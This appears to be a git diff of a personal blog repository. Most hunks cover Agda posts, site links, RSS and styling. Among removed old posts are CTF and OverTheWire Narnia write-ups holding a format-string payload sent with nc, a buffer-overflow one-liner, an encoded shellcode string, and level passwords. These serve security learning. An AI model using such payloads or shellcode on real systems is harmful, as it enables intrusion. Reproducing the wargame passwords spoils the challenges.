199037898049081148054548566008626493558290050160287889209057083223407180156125399899465196611255722303390874101982934954388936179424024104549780651688160499201410108321518752502957346260593418668796624999582838387982430520095732090601546001755571395014548912727418182188910950322763678024849076083148030838828924108260083080562081253547377722180347372948445614953503124471116393560745613311509380885545728947236076476736881439654048388176520444109172092029548244462475513941506675855751026925250160078913809995564374674278235553349778352067191820570404315381746499936539482369231372882062307188454140330786512148310245052484671692280269741146507675933518321695623680547732771867757371698350343979932499637752314262246864787150534170586075473209768119198889190503283212208200005176410488476529948013610803040328568552414972234514746292014601094331465138374210925373263573292609023829742634966280579621843784216908520325876171463017051928049668240295956697023793952538148945070686999838223927548227156965116574566365108818752174755077045394837234760506722554542515056441166987424547451245495248956829984641868331576895415337336145024631773347254905002735757</pre>
<p name="2839" id="2839" class="graf graf--p graf-after--pre">Standard RSA challenge, were given N, e, and
c and were asked to find the original message… Its supposed to be a “baby” RSA challenge, so one thing
that came to mind was that m^e is actually <em class="markup--em markup--p-em">less</em> than N. I put the
ciphertext c into factordb.com, and it turned out that it was a perfect fifth power! (recall that e=5).
The problem became trivial at this point; to get the flag, simply convert the fifth root of c back into
ASCII.</p>
<h3 name="d90e" id="d90e" class="graf graf--h3 graf-after--p">goodluck (200 points, pwn)</h3>
<p name="6b0f" id="6b0f" class="graf graf--p graf-after--h3">This challenge was pretty straightforward; once
I opened it in IDA, I noticed that it was <code class="markup--code markup--p-code">printf</code>ing some
user-supplied input. I tried a bunch of values with the binary locally until I got the exploit string
<code class="markup--code markup--p-code">%9$s</code>, which prints the 9th string on the stack (which is
where <code class="markup--code markup--p-code">flag.txt</code> was read to).
</p>
<pre name="c548" id="c548"
class="graf graf--pre graf-after--p">michael@zhang:~$ echo “%9\$s” | nc challenge.uiuc.tf 11342 <br>whats the flag <br>You answered: <br>flag{always_give_110%} <br>But that was totally wrong lol get rekt</pre>
<h3 name="62c9" id="62c9" class="graf graf--h3 graf-after--pre">LSLolLog in, stay here (200 points,
reversing)</h3>
<p name="f237" id="f237" class="graf graf--p graf-after--h3">To be honest, I dont even know how I solved
this one. I think I created an account and just tried a bunch of random stuff until I was at the location
indicated in the <code class="markup--code markup--p-code">X-SecondLife-Local-Position</code> header in
the URL I was given.</p>
<h3 name="5f73" id="5f73" class="graf graf--h3 graf-after--p">snekquiz (200 points, pwn)</h3>
<p name="4ea6" id="4ea6" class="graf graf--p graf-after--h3">In this challenge, we arent given a binary,
just a server to connect to. So we kind of have to imagine how its programmed. The server asks us 3
questions, then reveals us the answers so we can get all 3 right the next time. But we need a score of 5
to get the flag!</p>
<p name="05bc" id="05bc" class="graf graf--p graf-after--p">I imagine that the score variable must be in the
local scope of whatever function is doing the input loop. If thats the case, we can definitely overwrite
it, since buffer length is not being checked. Apparently stack protector has been enabled so we wont be
able to write out of the stack frame, but that doesnt really matter since we arent even given a binary
to work with.</p>
<p name="e0ba" id="e0ba" class="graf graf--p graf-after--p">After trying a bunch of values, I got that 88
was the maximum number of <code class="markup--code markup--p-code">A</code>s I was allowed to send to the
server before I started writing over the canary. I got a message that looked like this:</p>
<pre name="d225" id="d225"
class="graf graf--pre graf-after--p">Score greater than 5 detected! You must be cheating with a score like 1094795585</pre>
<p name="0858" id="0858" class="graf graf--p graf-after--pre graf--trailing">(for reference, that number is
0x41414141). That means score is being scored in an int. This time, I sent <code
class="markup--code markup--p-code">\x05\x00\x00\x00</code> 22 times, hoping that it would overwrite the
score variable with the exact value of 5, and it did!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/a53aabe1bc56"><time class="dt-published" datetime="2017-05-01T00:09:47.978Z">May 1,
2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/uiuctf-2017-writeups-a53aabe1bc56" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,41 +0,0 @@
---
title: "OverTheWire: Narnia"
date: 2017-05-24T03:10:36.500Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="6f76" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<h3 name="1811" id="1811" class="graf graf--h3 graf-after--h3">Level 0: Simple Buffer Overflow</h3>
<p name="0218" id="0218" class="graf graf--p graf-after--h3">Were given a buffer of 20 characters and an
int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:</p>
<pre name="47f8" id="47f8"
class="graf graf--pre graf-after--p">(python -c print “\xef\xbe\xad\xde” * 6; cat) | ./narnia0</pre>
<p name="b867" id="b867" class="graf graf--p graf-after--pre">The password for level 1 is <code
class="markup--code markup--p-code">efeidiedae</code>.</p>
<h3 name="59e6" id="59e6" class="graf graf--h3 graf-after--p">Level 1: Executing Shellcode</h3>
<p name="d660" id="d660" class="graf graf--p graf-after--h3">The program were given will execute anything
at the environment variable <code class="markup--code markup--p-code">EGG</code> as a function pointer; I
found some shellcode from google and it worked. The exploit code:</p>
<pre name="a253" id="a253"
class="graf graf--pre graf-after--p">EGG=$(printf “\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\x<br>ff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”) bash -c ./narnia1</pre>
<p name="5af8" id="5af8" class="graf graf--p graf-after--pre">The password for level 2 is <code
class="markup--code markup--p-code">nairiepecu</code>.</p>
<p name="3a3b" id="3a3b" class="graf graf--p graf-after--p">Level 2</p>
<p name="ce56" id="ce56" class="graf graf--p graf-after--p graf--trailing">soon lol</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/a282ef43b705"><time class="dt-published" datetime="2017-05-24T03:10:36.500Z">May
24, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/overthewire-narnia-a282ef43b705" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -85,6 +85,6 @@ then calling something like `instance.verify()` should run all those validators
## Conclusion
This project is a work in progress! You can see how far I am [on Github](https://github.com/mzhang28/wtforms).
This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms).
[1]: https://docs.rs/serde

View file

@ -0,0 +1,11 @@
#import "@preview/fletcher:0.5.1" as fletcher: diagram, node, edge
#let arrow(left, right, leftcolor: red, rightcolor: blue) = diagram(cell-size: 1cm, $
#text(fill: leftcolor)[#left]
edge(
marks: #(none, (inherit: "head", stroke: rightcolor)),
stroke: #stroke(paint: gradient.linear(leftcolor, rightcolor))
)
&
#text(fill: rightcolor)[#right]
$)

View file

@ -0,0 +1,76 @@
---
title: Glue
slug: 2024-09-26-glue
date: 2024-09-26T21:24:18.030Z
tags: [hott, cubical, agda, type-theory]
draft: true
---
<details>
<summary>Imports for Agda</summary>
```
{-# OPTIONS --cubical #-}
module 2024-09-26-glue.index where
open import Cubical.Foundations.Prelude
```
</details>
The core idea behind cubical type theory is that we have powerful path primitives that give us the ability to just bridge arbitrary things together.
The $\mathsf{PathP}$ primitive gives us a way to connect elements of different types.
For example, let's create some custom boolean type and assume we have some path between it and the standard booleans:
```
module _ where
data Bool : Type where
false : Bool
true : Bool
data Direction : Type where
left : Direction
right : Direction
postulate
myFunnyPath1 : Bool ≡ Direction
```
At the point $\mathsf{i0}$, this is _definitionally_ equal to $\mathsf{Bool}$,
and at $\mathsf{i1}$, this is _definitionally_ equal to $\mathsf{Direction}$.
```
_ : myFunnyPath1 i0 ≡ Bool
_ = refl
_ : myFunnyPath1 i1 ≡ Direction
_ = refl
```
These are known as the _boundary conditions_ on the path $\mathsf{myFunnyPath1}$.
Not only this, we can provide paths between the elements of this type too:
```
postulate
myFunnyPath2 : PathP (λ i → myFunnyPath1 i) false left
```
There's definitely something funny going on here. The typical transport operations in homotopy type theory are defined using path induction, which is inherent from the inductive structure of paths.
But how do we perform path induction on this kind of path?
Cubical type theory's approach is to flip this around and make _transport_ the primitive operation on top of which path induction can be defined.
$$
\mathsf{transp} : (A : \mathbb{I} \rightarrow \mathcal{U}) \rightarrow (r : \mathbb{I}) \rightarrow A(\mathsf{i0}) \rightarrow A(\mathsf{i1})
$$
Computationally, you could imagine how the path above would be transported:
```typst
#set page(width: auto, height: auto, margin: 10pt)
#import "arrow.typ": arrow
#arrow($C$, $D$, leftcolor: green)
```

View file

@ -1,38 +0,0 @@
---
title: Old blog posts
date: 2024-10-07T22:40:16-05:00
tags: [life, medium-blog]
---
Just re-discovered an [old blog][1] I had written over at Medium from back around 2017.
[1]: https://medium.com/michaels-blog
Some of the oldest post dates back to 2014.
This means I've been blogging for almost 10 years in total!
For completeness' sake I migrated them over to this blog, while still keeping links to the originals.
I'm grateful that Medium was able to keep this around for all this time.
Even though some of it is quite embarassing to look back at, it's kind of like peering into a time capsule and seeing what I was up to in the past.
I'm also really glad I did a post-mortem of at least one iteration of EasyCTF, since I had stupidly lost all of the actual competition data :frowning_face:
Here are the links to the old posts:
- [`[2017-05-24]` OverTheWire: Narnia](/posts/2017-05-24_overthewire--narnia/)
- [`[2017-05-01]` UIUCTF 2017 Writeups](/posts/2017-05-01_uiuctf-2017-writeups/)
- [`[2017-03-26]` VolgaCTF 2017 Writeups](/posts/2017-03-26_volgactf-2017-writeups/)
- [`[2017-03-24]` EasyCTF 2017 Wrap-up](/posts/2017-03-24_easyctf-2017-wrap-up/)
- [`[2017-02-16]` So, you can detect whether I use an ad-blocker or not, eh?](/posts/2017-02-16_so--you-can-detect-whether-i-use-an-ad-blocker-or-not--eh/)
- [`[2017-01-14]` Why I think HTML is a programming language.](/posts/2017-01-14_why-i-think-html-is-a-programming-language/)
- [`[2017-01-07]` Watch out, returning users!](/posts/2017-01-07_watch-out--returning-users/)
- [`[2017-01-03]` Wi-Fi Problems when Installing Linux on ASUS machines.](/posts/2017-01-03_wi-fi-problems-when-installing-linux-on-asus-machines/)
- [`[2016-12-30]` XinIRC development.](/posts/2016-12-30_xinirc-development/)
- [`[2016-12-01]` Lightning Speed Run.](/posts/2016-12-01_lightning-speed-run/)
- [`[2016-10-02]` H4CK1T CTF 2016.](/posts/2016-10-02_h4ck1t-ctf-2016/)
- [`[2016-09-18]` CSAW CTF 2016 Quals.](/posts/2016-09-18_csaw-ctf-2016-quals/)
- [`[2016-09-07]` So. I started a blog.](/posts/2016-09-07_so--i-started-a-blog/)
- [`[2015-10-20]` Pwnable.kr: fd (1).](/posts/2015-10-20_pwnable-kr--fd--1/)
- [`[2015-03-19]` A Much-Needed Apology.](/posts/2015-03-19_a-much-needed-apology/)
- [`[2014-12-18]` How to accomplish something.](/posts/2014-12-28_how-to-accomplish-something/)

View file

@ -1,22 +0,0 @@
---
title: Reflections on my first type theory talk
date: 2024-10-19T21:47:34.026Z
tags: [agda, cubical, type-theory, talk]
---
import slides from "./main.pdf?url";
Yesterday I gave my first talk about type theory at my school's grad student seminar series, about some of the work I had been doing with homotopy type theory and cubical Agda.
Here is a link to the <a href={slides}>slides</a>.
It was a very rushed talk, and a number of things went wrong during the talk, so here's my post-mortem on it from the day after.
First, unexpected things will happen. I had originally practiced my talk for an hour long session, but projector and Zoom issues reduced it by 15 minutes.
I panicked and started rushing my talk, which was already losing people.
Second, I didn't really stop to check that people were following and just continued with my material. I'm not sure if the people watching my talk really understood anything.
Third, I should've recorded the talk.
I just kinda blanked out so much during the talk, it's hard to go back and remember what I said and what I didn't.
It was a good experience, and I hope people at least enjoyed the pizza. :sweat_smile:

View file

@ -1,60 +0,0 @@
---
title: The advent of code language
date: 2024-12-02T11:08:41.157Z
tags: [pl, advent-of-code]
---
It's December, which means ~~grad school apps are due soon~~ [Advent of Code (AOC)][aoc] has started.
AOC is an [advent calendar] with increasingly difficult coding challenges from December 1 up until Christmas.
[aoc]: https://adventofcode.com/
[advent calendar]: https://en.wikipedia.org/wiki/Advent_calendar
Usually, people use this as an excuse to learn a new language.
I did this a couple years back with [aoc2022].
[aoc2022]: https://git.mzhang.io/michael/aoc2022
Since I have started to play around with programming language design and theory a bit, I decided to take a stab at writing a new language and using it to crack advent of code challenges.
So far, I have an interpreter that runs very minimal JS-looking language which is capable of solving the first day.
For example, here is the code for the second part of day 1, in my language:
```
input data = "1.txt";
let lines = data.splitlines();
let pairs = lines.map((s) => {
map(s.splitwhitespace(), (n) => { parseint(n) })
});
let lists = pairs.transpose();
let left = lists[0];
let right = lists[1];
let counts = left.map((n) => {
let one_count = right.map((m) => { if m == n then 1 else 0 });
let s = one_count.sum();
n * s
});
print(counts.sum());
```
The source code is [here][code].
Few things to note:
- I've been enamored by the idea of [UFCS] for a while, and my interpreter implements a rather naive version of it.
However, I'm curious about how this scales and how it will interact with polymorphic functions or variable namespaces.
- The parser is still currently very broken. This is why the `pairs` definition couldn't just read
```
let pairs = lines.map((s) => s.splitwhitespace().map((n) => parseint(n)));
```
- Functions like `splitlines`, `parseint`, `map`, and `transpose` are still implemented using intrinsics.
They will be moved to a "standard" library once modules have been figured out.
In a few weeks, I will try to flesh this language out into a playground for some programming language ideas I've been meaning to try to implement, such as algebraic effects.
Stay tuned for further updates!
[code]: https://git.mzhang.io/michael/aoclang2024
[ufcs]: https://en.wikipedia.org/wiki/Uniform_Function_Call_Syntax

View file

@ -1,294 +0,0 @@
---
title: CRDTs in Agda
slug: 2024-12-16-crdt
date: 2024-12-16
tags: ["agda", "formalization"]
---
Today during my flight back from Boston, I did a small formalization of [conflict-free replicated data types, or CRDTs][crdt] (thanks Sun Country for not having wifi...).
CRDTs are prevalent in the data synchronization world, and enable each peer to track their own changes, then merge those changes without conflict.
One of the nice guarantees of this system (and also a requirement of the data structures!) is that changes can be applied in any order, and they must eventually become consistent.
I'll present a way of modeling this using Agda, along with two simple example formalizations of data structures.
[crdt]: https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type
> [!admonition: NOTE]
> As usual, this is a [Literate agda][lagda] file.
> This means it is real code that type-checks.
> Click on any element to navigate to its definition!
[lagda]: https://agda.readthedocs.io/en/latest/tools/literate-programming.html
<details>
<summary>Imports</summary>
```
module 2024-12-16-crdt where
open import Agda.Primitive
open import Data.List using (List; _∷_; [])
open import Data.Nat using (; suc)
open import Data.Product
open import Data.Bool using (true; false)
open import Data.Unit using ()
open import Data.Empty
open import Function
open import Relation.Binary.Bundles
open import Relation.Binary.Definitions
open import Relation.Binary.Consequences
open import Relation.Binary.Structures
import Relation.Binary.PropositionalEquality as Eq
open import Relation.Binary.PropositionalEquality hiding (isEquivalence; isDecEquivalence)
open Eq.≡-Reasoning
open import Relation.Nullary.Decidable
open import Relation.Nullary.Negation
open import Relation.Nullary.Reflects
```
</details>
## Definition
For this post, I'm doing an operation-based CRDT.
Since the C in CRDT stands for conflict-free:
- The `apply` function is commutative.
We should be free to merge changes in any order.
This also guarantees eventual consistency (as long as all changes are replicated properly), since no matter what the changes are going to be, as long as they can commute arbitrarily, we can just re-order them.
- The `apply` function is total.
We can't have any errors being thrown.
All states must merge cleanly.
(NOTE: This is a protocol-level concept. We can still have conflicts in applications, they would just have to appear as a valid state in the CRDT.)
Let's define our data structure:
<details>
<summary>Some boilerplate for abstracting over time</summary>
```
-- ignore the levels, they are there so `Time` can be abstracted over
module _ { c time time₁ time₂ : Level} (TimeOrder : StrictTotalOrder time time₁ time₂) where
open StrictTotalOrder (TimeOrder)
using (compare; _<_; _≈_; _>_; asym; irrefl; isDecEquivalence)
renaming (Carrier to Time)
open IsDecEquivalence (isDecEquivalence) using () renaming (sym to symEqv)
TCompare : Time → Time → Set (time₁ ⊔ time₂)
TCompare t1 t2 = Tri (t1 < t2) (t1 t2) (t1 > t2)
```
</details>
```
-- This data structure represents a proof that the type A is a CRDT
record isCRDT {c : Level} (A : Set c) : Set (time ⊔ c ⊔ lsuc ) where
field
-- Some type representing all possible operations
op : Set
-- The no-op. Having this lets me only require apply2
noOp : op
-- Apply 2 operations to a state, along with their timestamps
-- Note that there is no error state for this.
-- All operations must be cleanly applied.
apply2 : (o1 o2 : op) (t1 t2 : Time) → A → A
-- The property that applying changes must be commutative.
comm : (a : A) → (o1 o2 : op) (t1 t2 : Time) → apply2 o1 o2 t1 t2 a ≡ apply2 o2 o1 t2 t1 a
```
I think in reality it would be the job of `op` to store the time, rather than the entire `isCRDT`, but this is the way I wrote it :sob:
Another note is, I required `apply2` rather than just `apply` taking a single operation, because I have to express the fact that the data structure can choose to reorder my operations however it wants.
## Example: counter
Here is a simple example of a counter. The counter's only operation is _increment_, and the merging operation is trivial.
```
module _ where
open isCRDT
-- A counter is represented by just a natural number
Counter =
private
data Op : Set where
nop : Op
inc : Op
CounterIsCRDT : isCRDT Counter
CounterIsCRDT .op = Op
CounterIsCRDT .noOp = nop
```
> [!admonition: NOTE]
> Because the rest of the code all lies inside this module, future code blocks are going to start with more indentation :(
Now we need to define apply and commutativity:
```
CounterIsCRDT .apply2 = apply2' where
apply2' : Op → Op → Time → Time → Counter → Counter
apply2' nop nop t1 t2 c = c -- no change
apply2' nop inc t1 t2 c = suc c -- just add one
apply2' inc nop t1 t2 c = suc c -- just add one
apply2' inc inc t1 t2 c = suc (suc c) -- two inc's adds two
CounterIsCRDT .comm = comm' where
apply2' = CounterIsCRDT .apply2
-- All cases are trivial, since the operations are symmetric by definition
comm' : (a : Counter) (o1 o2 : Op) (t1 t2 : Time)
→ apply2' o1 o2 t1 t2 a ≡ apply2' o2 o1 t2 t1 a
comm' c nop nop t1 t2 = refl
comm' c nop inc t1 t2 = refl
comm' c inc nop t1 t2 = refl
comm' c inc inc t1 t2 = refl
```
## Example: last-write-win map
Here's a slightly more complicated example: last-write-win maps.
Instead of using a built-in map module, I'm going to define some properties that a map should have.
Importantly, I'll require that there be some way of breaking ties between equal keys.
<details>
<summary>Boilerplate for setting up maps</summary>
```
record isMap (M K V : Set c) : Set (c ⊔ time) where
constructor mkIsMap
field
mget : M → K → V
mext : (m1 m2 : M) → ((k : K) → mget m1 k ≡ mget m2 k) → m1 ≡ m2
minsert : (k : K) (v : V) (m : M) → Σ M (λ m' → mget m' k ≡ v)
-- These functions are used to arbitrarily order two choices in case the time _and_ keys collide
-- It must be deterministic
mpick : (kvt1 kvt2 : K × V × Time) → (K × V × Time) × (K × V × Time)
mpickcomm : (kvt1 kvt2 : K × V × Time) → mpick kvt1 kvt2 ≡ mpick kvt2 kvt1
MapType : (K V : Set c) → Set (lsuc c ⊔ time)
MapType K V = Σ (Set c) (λ M → isMap M K V)
module _ (K V : Set c) (Map : MapType K V) where
open isCRDT
M = Map .proj₁
open isMap (Map .proj₂)
```
</details>
It's time to define operations and apply.
```
private
data Op : Set c where
nop : Op
insert : K → V → Op
-- "deterministic pair" is how it's used, but this is really just two (K, V) pairs
record DetPair (K V : Set c) : Set c where
field
k₁ k₂ : K
v₁ v₂ : V
module _ (k1 : K) (v1 : V) (t1 : Time) (k2 : K) (v2 : V) (t2 : Time) where
-- This helper takes the time comparison result and decides how to order the
-- resulting pair
mkDetPairHelper : TCompare t1 t2 → DetPair K V
mkDetPairHelper (tri< a ¬b ¬c) =
record { k₁ = k1 ; k₂ = k2 ; v₁ = v1 ; v₂ = v2 }
mkDetPairHelper (tri≈ ¬a b ¬c) =
let arb = mpick (k1 , v1 , t1) (k2 , v2 , t2) in
record
{ k₁ = arb .proj₁ .proj₁
; v₁ = arb .proj₁ .proj₂ .proj₁
; k₂ = arb .proj₂ .proj₁
; v₂ = arb .proj₂ .proj₂ .proj₁
}
mkDetPairHelper (tri> ¬a ¬b c) =
record { k₁ = k2 ; k₂ = k1 ; v₁ = v2 ; v₂ = v1 }
mkDetPair : DetPair K V
mkDetPair = mkDetPairHelper (compare t1 t2)
-- Define single apply
apply : Op → M → M
apply nop m = m
apply (insert k v) m = minsert k v m .proj₁
apply2' : Op → Op → Time → Time → M → M
apply2' nop nop t1 t2 m = m
apply2' o1 nop t1 t2 m = apply o1 m -- single apply is used
apply2' nop o2 t1 t2 m = apply o2 m -- in the NOP cases
apply2' (insert k1 v1) (insert k2 v2) t1 t2 m =
let p = mkDetPair k1 v1 t1 k2 v2 t2 in
apply (insert (p .k₂) (p .v₂)) (apply (insert (p .k₁) (p .v₁)) m)
where open DetPair
```
Commutativity is now just a matter of going back and verifying that those cases hold.
For the case where I `mpick`ed an arbitrary order, I used the required `mpickcomm` property to show that it commutes.
```
comm' : (m : M) (o1 o2 : Op) (t1 t2 : Time) → apply2' o1 o2 t1 t2 m ≡ apply2' o2 o1 t2 t1 m
comm' m nop nop t1 t2 = refl
comm' m (insert _ _) nop t1 t2 = refl
comm' m nop (insert _ _) t1 t2 = refl
comm' m (insert k1 v1) (insert k2 v2) t1 t2 = cong f (detPairLemma k1 k2 v1 v2 t1 t2) where
f : (dp : DetPair K V) → M
f dp = apply (insert (dp .k₂) (dp .v₂)) (apply (insert (dp .k₁) (dp .v₁)) m)
where open DetPair
module _ (k1 k2 : K) (v1 v2 : V) (t1 t2 : Time) where
detPairLemmaHelper : (tc1 : TCompare t1 t2) (tc2 : TCompare t2 t1) → mkDetPairHelper k1 v1 t1 k2 v2 t2 tc1 ≡ mkDetPairHelper k2 v2 t2 k1 v1 t1 tc2
-- Uninteresting cases.
-- Let me know if you know of a way to avoid having to list these cases!
detPairLemmaHelper (tri< a ¬b ¬c) (tri< a ¬b ¬c) = -elim (asym a a)
detPairLemmaHelper (tri< a ¬b ¬c) (tri ¬a b ¬c) = -elim (irrefl (symEqv b) a)
detPairLemmaHelper (tri≈ ¬a b ¬c) (tri< a ¬b ¬c) = -elim (irrefl (symEqv b) a)
detPairLemmaHelper (tri≈ ¬a b ¬c) (tri> ¬a₁ ¬b c) = ⊥-elim (irrefl b c)
detPairLemmaHelper (tri> ¬a ¬b c) (tri≈ ¬a₁ b ¬c) = ⊥-elim (irrefl b c)
detPairLemmaHelper (tri> ¬a ¬b c) (tri> ¬a₁ ¬b₁ c₁) = ⊥-elim (asym c c₁)
-- Interesting cases.
detPairLemmaHelper (tri< a ¬b ¬c) (tri> ¬a ¬b₁ c) = refl
detPairLemmaHelper (tri≈ ¬a b ¬c) (tri≈ ¬a₁ b₁ ¬c₁) = cong pair pickComm where
kvt1 = k1 , v1 , t1
kvt2 = k2 , v2 , t2
pair : (K × V × Time) × (K × V × Time) → DetPair K V
pair ((k1 , v1 , t1) , (k2 , v2 , t2)) = record { k₁ = k1 ; k₂ = k2 ; v₁ = v1 ; v₂ = v2 }
pickComm : mpick kvt1 kvt2 ≡ mpick kvt2 kvt1
pickComm = mpickcomm kvt1 kvt2
detPairLemmaHelper (tri> ¬a ¬b c) (tri< a ¬b ¬c) = refl
detPairLemma : mkDetPair k1 v1 t1 k2 v2 t2 ≡ mkDetPair k2 v2 t2 k1 v1 t1
detPairLemma = detPairLemmaHelper (compare t1 t2) (compare t2 t1)
```
Finally, to wrap up:
```
LWWMapIsCRDT : isCRDT M
LWWMapIsCRDT .op = Op
LWWMapIsCRDT .noOp = nop
LWWMapIsCRDT .apply2 = apply2'
LWWMapIsCRDT .comm = comm'
```
## Conclusion
If I were to use this in a real product, I could write `{-# COMPILE ... #-}` and give
translations of all the constructs into Javascript, and then import this as a library.
Anyway, this is just a toy implementation.
Let me know how this could be improved!
As an aside, if you're interested in theorem proving (Lean/Agda), make sure to check out [Advent of Proof 2024][AOP]!
There have been plenty of cool problems so far.
[aop]: https://typesig.pl/lean/agda/events/2024/12/12/advent-of-proof-2024.html

View file

@ -6,18 +6,24 @@ export interface Link {
}
const links: Link[] = [
{
name: "projects",
url: "https://git.mzhang.io/michael",
icon: "gitea",
description: "Check out my public open source projects on Forgejo",
},
{
name: "Matrix",
url: "https://matrix.to/#/@michael:chat.mzhang.io",
icon: "matrix-org",
description: "Come chat with me on Matrix",
},
{
name: "Git",
url: "https://git.mzhang.io",
icon: "gitea",
description: "Check out my public open source projects on Forgejo",
},
{
name: "GitHub",
url: "https://github.com/iptq",
icon: "github",
description: "See a history of my old projects on GitHub",
},
{
name: "Mastodon",
url: "https://fosstodon.org/@mzhang",
@ -36,12 +42,6 @@ const links: Link[] = [
icon: "linkedin",
description: "Connect with me on LinkedIn",
},
{
name: "GitHub",
url: "https://github.com/mzhang28",
icon: "github",
description: "See a history of my old projects on GitHub",
},
];
export default links;

View file

@ -24,7 +24,6 @@ const hasToc = toc ?? false;
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta property="og:image" content={portrait.src} />
<title>{title && `${title} - `} Michael Zhang</title>
<link rel="alternate" type="application/rss+xml" title="RSS Feed" href="/rss.xml" />
<script
data-goatcounter="https://goatcounter.mzhang.io/count"
async

View file

@ -11,47 +11,18 @@ Hi there! :wave:
<Intro />
I've also worked as a researcher for [SIFT], specializing in compilers and binary analysis. Previously I worked as a software engineer at [Swoop Search] and [AWS].
### Research
Before that, I was a CTF hobbyist. I created [EasyCTF], a cybersecurity competition for high schoolers.
I also briefly played with the CTF team [Project Sekai][pjsk].
I'm learning about [cubical type theory][cubical]!
I'll probably write some blog posts as I learn more.
[Swoop Search]: https://swoopsrch.com/
[aws]: https://aws.amazon.com/
[sift]: https://www.sift.net/
[easyctf]: https://www.easyctf.com/
[pjsk]: https://sekai.team/
## Academic life
I'm currently doing a thesis project for my master's program, involving the mechanization of [spectral sequences] using [cubical] [Agda].
See some of my blog posts to follow along with my research!
For my master's thesis project, I'm investigating a mechanization of [spectral sequences] in [Cubical] [Agda].
So far, I've been primarily working through the [homotopy type theory book][HoTTBook].
[spectral sequences]: https://en.wikipedia.org/wiki/Spectral_sequence
[agda]: https://agda.readthedocs.io/en/latest/overview.html
[hottbook]: https://homotopytypetheory.org/book/
### Research projects
- [**cubeviz**](https://mzhang.io/cubeviz/). A visualizer for cubical type theory that can assist with constructing `hcomp`s.
- [**type theory repo**](https://git.mzhang.io/michael/type-theory). The main repository for my Agda code for my research project.
### Conferences and summer schools
History of conferences and academic events I've attended.
- [**ICFP 2024, PLMW workshop**](https://icfp24.sigplan.org/). Milan, Italy.
- **MURI 2024**. Pittsburgh, PA.
- [**Unimath 2024**](https://unimath.github.io/minneapolis2024/). Minneapolis, MN.
- [**OPLSS 2024**](https://www.cs.uoregon.edu/research/summerschool/summer24/). Boston, MA.
- [**Midwest PL Summit 2023**](https://mwpls2023.engin.umich.edu/). Ann Arbor, MI.
### Undergraduate teaching
In undergrad, I worked briefly as a teaching assistant.
- **CSCI 2041, Advanced Programming Principles** with Prof. Eric van Wyk.
### University Involvement
I also love to participate in computing related student groups at the University
@ -72,7 +43,7 @@ Previously, I was also involved with:
- **[SASE]**.
I was webmaster and was involved in organizing student group events as well.
## Open-source Projects
### Open-source Projects
Some of the projects I've been working on in my free time include:
@ -87,7 +58,7 @@ other software that're not predatory towards users. As a part of this effort,
I'm also self-hosting and rewriting some of the services and software that I use
regularly.
## Hobbies
### Hobbies
Outside of computer science, I love cooking, music, and games.
In particular, I'm a huge fan of rhythm games.

View file

@ -7,6 +7,8 @@ import "../styles/home.scss";
const currentUrl = Astro.url;
---
<link rel="alternate" type="application/rss+xml" href="/rss.xml" title="RSS Feed" slot="head" />
<BaseLayout>
<h1>Blog</h1>

View file

@ -92,12 +92,23 @@ const excerpt = remarkPluginFrontmatter.excerpt?.replaceAll("\n", "");
}
<div class="post-content" id="post-content">
<main>
<Content />
</main>
<Content />
<hr />
<!-- {
!draft && (
<script
src="https://utteranc.es/client.js"
repo="iptq/blog-comments"
issue-term="og:title"
theme="github-light"
crossorigin="anonymous"
async
/>
)
} -->
{
(
<>

View file

@ -1,38 +1,18 @@
import rss from "@astrojs/rss";
import sanitizeHtml from "sanitize-html";
import { getCollection } from "astro:content";
import { SITE_TITLE, SITE_DESCRIPTION } from "../consts";
const BLACKLIST = ["../content/posts/_index.md"];
export async function GET(context) {
// const posts = Array.from(await getCollection("posts"));
const posts = Object.entries(
import.meta.glob("../content/posts/**/*.{md,mdx}", {
eager: true,
}),
)
.filter(
([file, post]) =>
!BLACKLIST.includes(file) && post.frontmatter.draft !== true,
)
.toSorted(([fileA, a], [fileB, b]) => {
return new Date(b.frontmatter.date) - new Date(a.frontmatter.date);
})
.slice(0, 30)
.map(([file, post]) => {
return {
title: post.frontmatter.title ?? "",
pubDate: new Date(post.frontmatter.date),
link: "/",
content: sanitizeHtml(post.compiledContent?.()),
// link: `/posts/${post.slug}/`,
};
});
const posts = await getCollection("posts");
return rss({
title: SITE_TITLE,
description: SITE_DESCRIPTION,
site: context.site,
items: posts,
items: posts.map((post) => ({
title: post.data.title,
pubDate: post.data.date,
// ...post.data,
link: `/blog/${post.slug}/`,
})),
});
}

View file

@ -6,7 +6,6 @@
:root {
--background-color: #{$backgroundColor};
--sidebar-color: #f8f8f8;
--background-dots-color: #{darken($backgroundColor, 5%)};
--faded-background-color: #{darken($backgroundColor, 10%)};
--shadow-color: #{darken($backgroundColor, 10%)};
--heading-color: #{darken(royalblue, 10%)};
@ -51,7 +50,6 @@
:root {
--background-color: #{$backgroundColor};
--sidebar-color: hsl(230, 20%, 20%);
--background-dots-color: #{lighten($backgroundColor, 3%)};
--faded-background-color: #{lighten($backgroundColor, 10%)};
--shadow-color: #{lighten($backgroundColor, 10%)};
--heading-color: #{lighten(lightskyblue, 20%)};
@ -84,4 +82,4 @@
--astro-code-token-punctuation: #ffab70;
--astro-code-token-link: black;
}
}
}

View file

@ -4,7 +4,7 @@
--blue: #5175be;
--module: purple;
--inductive-constructor: #008b00;
--comment: #a7a7a7;
--comment: #b22222;
